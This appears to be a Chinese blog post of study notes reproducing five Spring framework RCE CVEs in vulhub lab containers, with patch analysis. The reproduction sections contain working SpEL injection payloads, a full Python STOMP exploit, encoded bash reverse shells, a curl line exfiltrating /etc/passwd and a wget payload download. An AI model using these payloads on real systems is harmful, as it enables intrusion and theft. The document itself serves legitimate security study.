干貨|Java Spring安全學習筆記
簡介
Spring的英文翻譯為春天,可以說是給Java程序員帶來了春天,因為它極大的簡化了開發。得出一個公式:Spring = 春天 = Java程序員的春天 = 簡化開發。最后的簡化開發正是Spring框架帶來的最大好處。
Spring是一個開放源代碼的設計層面框架,它是于2003 年興起的一個輕量級的Java 開發框架。由Rod Johnson創建,其前身為Interface21框架,后改為了Spring并且正式發布。Spring是為了解決企業應用開發的復雜性而創建的。它解決的是業務邏輯層和其他各層的松耦合問題,因此它將面向接口的編程思想貫穿整個系統應用。框架的主要優勢之一就是其分層架構,分層架構允許使用者選擇使用哪一個組件,同時為 J2EE 應用程序開發提供集成的框架。Spring使用基本的JavaBean來完成以前只可能由EJB完成的事情。然而,Spring的用途不僅限于服務器端的開發。從簡單性、可測試性和松耦合的角度而言,任何Java應用都可以從Spring中受益。簡單來說,Spring是一個分層的JavaSE/EE full-stack(一站式) 輕量級開源框架。Spring 的理念:不去重新發明輪子。其核心是控制反轉(IOC)和面向切面(AOP)。
Spring框架包含的功能大約由20個小模塊組成。這些模塊按組可分為核心容器(Core Container)、數據訪問/集成(Data Access/Integration)、Web、面向切面編程(AOP和Aspects)、設備(Instrumentation)、消息(Messaging)和測試(Test)。如下圖所示:

漏洞環境搭建
這里我為了方便,使用的是vulhub搭建docker進行漏洞復現
首先安裝curl和docker
sudo apt install curl sudo apt install docker.io docker -v //查看是否安裝成功
然后安裝python和pip環境,命令如下
sudo apt install python curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py sudo python get-pip.py pip -V //查看是否安裝成功
然后再安裝docker-compose
pip install docker-compose sudo apt install docker-compose docker-compose -v
image-20210719183746682
到這個地方docker環境就已經搭建好了,這時候需要從github上把vulhub的漏洞環境給clone下來,這里直接clone網不太好,我就直接下載下來了copy到了靶機上
git clone https://github.com/vulhub/vulhub.git
下載好之后進入spring漏洞環境,這里看到有5個CVE漏洞,我們一個一個來

cve-2016-4977
Spring Security OAuth RCE(cve-2016-4977),是為Spring框架提供安全認證支持的一個模塊,在7月5日其維護者發布了這樣一個升級公告,主要說明在用戶使用Whitelabel views來處理錯誤時,攻擊者在被授權的情況下可以通過構造惡意參數來遠程執行命令。漏洞的發現者在10月13日公開了該漏洞的挖掘記錄
影響版本
1.0.0-1.0.5、2.0.0-2.0.9
漏洞分析
這個漏洞的觸發點也是對用戶傳的參數的遞歸解析,從而導致SpEL注入,可是兩者的補丁方式大不相同。Springboot的修復方法是創建一個NonRecursive類,使解析函數不進行遞歸。而SpringSecurityOauth的修復方法則是在前綴${前生成一個六位的字符串,只有六位字符串與之相同才會對其作為表達式進行解析。然而如果請求足夠多,這種補丁也是會失效的。
這里直接查看補丁情況

可以看到在第一次執行表達式之前程序將$替換成了由RandomValueStringGenerator().generate()生成的隨機字符串,也就是${errorSummary} -> random{errorSummary},但是這個替換不是遞歸的,所以${2334-1}并沒有變。
然后創建了一個helper使程序取random{}中的內容作為表達式,這樣就使得errorSummary被作為表達式執行了,而${2334-1}因為不符合random{}這個形式所以沒有被當作表達式,從而也就沒有辦法被執行了。
不過這個Patch有一個缺點:RandomValueStringGenerator生成的字符串雖然內容隨機,但長度固定為6,所以存在暴力破解的可能性。
漏洞復現
首先進入CVE-2016-4977的docker環境

訪問url,輸入admin/admin
http://192.168.1.10:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

出現以下界面則存在漏洞

使用github上找到的poc對傳入值進行處理
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

這里我傳入一個whoami,返回了一個payload

將這個payload拼接到之前的網址里面訪問可以發現,這里返回了一個[java.lang.UNIXProcess@f2e3e13],說明代碼已經執行了
http://127.0.0.1:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test

這里使用curl發送一個請求即可得到回顯得內容
curl 192.168.1.2:5555 -d "$(cat /etc/passwd)"

這里再使用nc監聽嘗試反彈shell

使用到bash反彈,這里需要繞過exec()變形
bash -i >& /dev/tcp/192.168.1.2/5555 0>&1
使用http://www.jackson-t.ca/runtime-exec-payloads.html進行payload處理

將處理后的命令再放入poc.py

得到新的payload并拼接到網址里面
http://127.0.0.1:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(85)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test
然后再訪問這個網站即可得到反彈shell

CVE-2017-4971
Spring Web Flow框架遠程代碼執行(CVE-2017-4971)漏洞,是由于Spring Web Flow的數據綁定問題帶來的表達式注入,從而導致任意代碼執行。
影響版本
2.4.0-2.4.4、Older unsupported versions are also affected
漏洞分析
view對象處理用戶事件,會根據HTTP參數綁定相應的model

如果model沒有設置BinderConfiguration, 則會調用addDefaultMappings函數

進一步查看addDefaultMappings函數,可以發現輸入參數以fieldMarkerPrefix(“_”)開頭,則會調用addEmptyValueMapping函數

若useSpringBeanBinding參數設置為false,則 expressionParser將設置為SpelExpressionParser對象的實例,而不是BeanWrapperExpressionParser對象的實例。當調用getValueType函數時,SpelExpressionParser對象將執行表達式,觸發任意代碼執行

漏洞復現
首先進入CVE-2017-4971的docker環境

點擊登錄

這里列出了一些登錄賬戶,這里隨便使用一個登錄即可

登錄之后顯示如下界面

然后訪問http://192.168.1.10:8080/hotels/1,點擊`Book Hotel`

這里要把信用卡和名字都填一下,然后點擊Proceed

進入如下頁面,此處用bp抓包

bp抓包如下所示

這里構造一個bash反彈的payload
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.2/5555 0>%261")).start()=vulhub
打開nc監聽端口

把構造的payload放入抓到的包里發送

即可收到反彈shell

CVE-2017-8046
Spring-Data-REST-RCE(CVE-2017-8046),Spring Data REST對PATCH方法處理不當,導致攻擊者能夠利用JSON數據造成RCE。本質還是因為spring的SPEL解析導致的RCE
影響版本
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3 Spring Boot version < 2.0.0M4 Spring Data release trains < Kay-RC3
漏洞分析
這里直接從補丁分析,從官方的描述來看就是就是Spring-data-rest服務處理PATCH請求不當,導致任意表達式執行從而導致的RCE。首先來看下補丁,主要是evaluateValueFromTarget添加了一個校驗方法verifyPath,對于不合規格的path直接報異常退出,主要是property.from(pathSource,type)實現,基本邏輯就是通過反射去驗證該Field是否存在于bean中

漏洞復現
進入CVE-2017-8046的docker環境

訪問http://192.168.1.10:8080/customers/1返回如下界面則存在漏洞

這里先對customers/1這個頁面bp抓包,還是通過bash反彈,通過處理后得到命令
bash -i >& /dev/tcp/192.168.1.2/5555 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}
因為這里執行的代碼被編碼為十進制位于new java.lang.String(new byte[]{xxxxxx})中,所以需要對bash命令轉成十進制編碼
使用python進行編碼處理,在python中轉十進制的方法為",".join(map(str, (map(ord,"命令"))))
",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"))))

得到十進制后放入bp包里面進行構造
[
{ "op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,105,56,49,78,84,85,49,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
"value": "vulhub"
}
]
構造后如圖所示

發包即可得到反彈shell

CVE-2018-1270
Spring Messaging 命令執行漏洞(CVE-2018-1270),Spring框架中的 spring-messaging 模塊提供了一種基于WebSocket的STOMP協議實現,STOMP消息代理在處理客戶端消息時存在SpEL表達式注入漏洞,攻擊者可以通過構造惡意的消息來實現遠程代碼執行。
影響版本
Spring Framework 5.0 - 5.0.5 Spring Framework 4.3 - 4.3.15
漏洞分析
由expression,getValue,setValue造成的代碼執行,造成這種命令執行是由Spring的SPEL表達式造成的

SPEL命令執行有兩種方式,一是靜態方法,二是new 對象
再看一下spring-boot-messaging實現中的代碼
Expression expression = sub.getSelectorExpression();
if (expression == null) {
result.add(sessionId, subId);
} else {
if (context == null) {
context = new StandardEvaluationContext(message);
context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor());
}
try {
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
} catch (SpelEvaluationException var13) {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Failed to evaluate selector: " + var13.getMessage());
}
} catch (Throwable var14) {
this.logger.debug("Failed to evaluate selector", var14);
}
}
那么一是可以利用sub.getSelectorExpression()得到selector的表達式,二是利用Boolean.TRUE.equals(expression.getValue(context, Boolean.class))獲取表達式的值,從而造成命令執行
漏洞復現
進入CVE-2018-1270的docker漏洞環境

訪問http://192.168.1.10:8080/gs-guide-websocket

這里直接使用前輩們寫好的exp,注意修改一下bash命令和靶機地址即可
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '']
data.append(''.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://192.168.1.10:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
首先還是bash編碼

修改exp中的靶機ip和反彈命令
sockjs = SockJS('http://192.168.1.10:8080/gs-guide-websocket')
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}')",
如圖所示

運行poc.py即可得到反彈shell

CVE-2018-1273
Spring Data Commons遠程命令執行(CVE-2018-1273),當用戶在項目中利用了Spring-data的相關web特性對用戶的輸入參數進行自動匹配的時候,會將用戶提交的form表單的key值作為Spel的執行內容而產生漏洞
影響版本
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)
漏洞分析
這里直接看補丁進行分析,這是一個spel表達式注入漏洞。補丁的內容如下:

補丁大致就是將StandardEvaluationContext替代為SimpleEvaluationContext,由于StandardEvaluationContext權限過大,可以執行任意代碼,會被惡意用戶利用。
SimpleEvaluationContext的權限則小的多,只支持一些map結構,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已經不再支持。
漏洞復現
首先進入CVE-2018-1273的docker環境

訪問http://192.168.1.10:8080/users并用bp抓包

這里隨便填一下Username跟Password

生成一個shell.sh文件
bash -i >& /dev/tcp/192.168.1.2/5555 0>&1
用python起一個http服務,并構造payload下載shell.sh文件保存在/tmp/目錄下,名稱為1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/usr/bin/wget -qO /tmp/1 http://192.168.1.2:8000/shell.sh")]=111&password=111&repeated=111&Password=111

nc打開端口監聽再構造payload進行命令執行即可收到反彈shell
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash /tmp/1")]=111&password=111&repeated=111&Password=111

